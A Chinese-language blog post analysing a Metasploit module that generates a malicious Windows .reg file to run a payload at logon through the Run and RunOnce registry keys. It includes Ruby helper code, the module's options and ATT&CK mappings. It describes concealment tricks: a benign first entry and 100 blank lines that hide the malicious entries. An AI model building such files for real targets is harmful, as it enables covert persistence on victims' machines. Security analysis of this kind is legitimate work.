恶意Windows注册表文件(.reg)漏洞利用技术分析

本文详细分析了一个恶意Windows注册表文件(.reg)的Metasploit模块,该模块通过创建恶意注册表项在用户登录时执行payload,涉及Windows注册表操作、权限提升和持久化技术。

恶意Windows注册表条目(.reg)文件

风险等级: 中等
本地利用:
远程利用:
CVE: N/A
CWE: N/A

模块概述

此Metasploit模块创建一个Windows注册表条目(.reg)文件,该文件将指定的payload添加到Windows注册表中。payload会在当前用户登录Windows时运行。如果用户在打开文件时具有提升的权限,payload将在任何用户登录时运行。

用户在打开文件时会收到确认注册表更改的警告提示。

技术细节

类定义

1
2
3
class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
  include Msf::Exploit::FILEFORMAT

初始化配置

模块支持以下目标:

  • Microsoft Windows 2000或更新版本
  • 注册表编辑器版本:5.00

Payload配置

  • 架构: ARCH_CMD
  • 平台: Windows
  • 空间限制: 244字节(255减去"cmd.exe /c “前缀长度)
  • 坏字符: \x00
  • 禁用NOP:

注册表项创建

模块创建注册表条目的核心方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def registry_entry(path, type, key, value)
  raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255
  raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300
  raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ'

  escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"')
  reg_entry = "[#{path}]\r\n"
  reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n"
  reg_entry
end

命令格式化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def format_commands(command_string)
  raw_cmd = command_string.to_s.gsub(/^\s*/, '')
  
  if raw_cmd.include?(' & ')
    cmd = "cmd.exe /c #{raw_cmd}"
  else
    cmd = raw_cmd
  end

  raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255
  cmd
end

利用选项

基本选项

  • FILENAME: 注册表条目文件名(默认:msf.reg)

高级选项

  • AddToCurrentUserWindowsCurrentVersionRun: 为当前用户登录添加payload(默认:true)
  • AddToCurrentUserWindowsCurrentVersionRunOnce: 同上,但使用后删除注册表键(默认:false)
  • AddToLocalMachineWindowsCurrentVersionRun: 为所有用户登录添加payload(默认:true)
  • AddToLocalMachineWindowsCurrentVersionRunOnce: 同上,但使用后删除注册表键(默认:false)
  • PrependBenignEntry: 在文件开头添加良性注册表条目(默认:true)
  • PrependNewLines: 在第一个恶意注册表条目前添加空行数(默认:100)

攻击技术映射

ATT&CK技术

  • T1204.002: 用户执行 - 恶意文件
  • T1547.001: 启动或登录自动执行 - 注册表运行键/启动文件夹

文件结构

  1. Windows注册表编辑器版本头
  2. 良性注册表条目(可选)
  3. 视觉空白填充(可选)
  4. HKCU(当前用户)条目
  5. HKLM(本地机器)条目(可选)

参考链接

  • Microsoft注册表文件操作指南
  • Windows Run和RunOnce注册表键文档
  • ATT&CK攻击技术框架
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计